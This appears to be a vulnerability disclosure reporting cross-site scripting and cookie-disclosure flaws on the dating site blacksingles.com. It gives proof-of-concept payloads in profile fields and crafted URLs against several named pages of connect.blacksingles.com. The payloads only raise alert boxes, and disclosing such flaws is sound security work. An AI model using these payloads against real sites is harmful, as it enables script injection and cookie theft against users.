Blacksingles.com - XSS & cookie disclosure
Blacksingles.com
Homepage:
http://www.blacksingles.com
Affected files
Profile input boxes
Add a friend input box.
list.html
view.html
reply.html
compose.html
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XSS vuln with cookie disclosure via the Location box.
User data isn't sanatized before generating it here. For a PoC, in your
Location, input box below the "Please select your city" option put:
<img src=javascript:alert(document.cookie)>
Screenshots:
http://www.youfucktard.com/xsp/blacksingles1.jpg
http://www.youfucktard.com/xsp/blacksingles2.jpg
http://www.youfucktard.com/xsp/blacksingles5.jpg
When posting in a forum, as well as writing a mail to someone from the forum
your location is displayed along with your name/age etc. So the XSS attack can
occur here too.
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XSS vuln via Add a friend input box.
Data isn't sanatized here either.
Screenshots:
http://www.youfucktard.com/xsp/blacksingles3.jpg
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list.html XSS vuln:
http://connect.blacksingles.com/boards/list.html?b=8";>">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'
Screenshots:
http://www.youfucktard.com/xsp/blacksingles4.jpg
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view.html XSS vuln:
http://connect.blacksingles.com/boards/view.html?b=8&t=485199";>">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'
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reply.html XSS vuln:
http://connect.blacksingles.com/boards/reply.html?b=8&t=485199&p=485199";>">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'
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XSS vuln via compose.html.
http://connect.blacksingles.com/mail/compose.html?u=admin";>">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'
Screenshots:
http://www.youfucktard.com/xsp/blacksingles6.jpg
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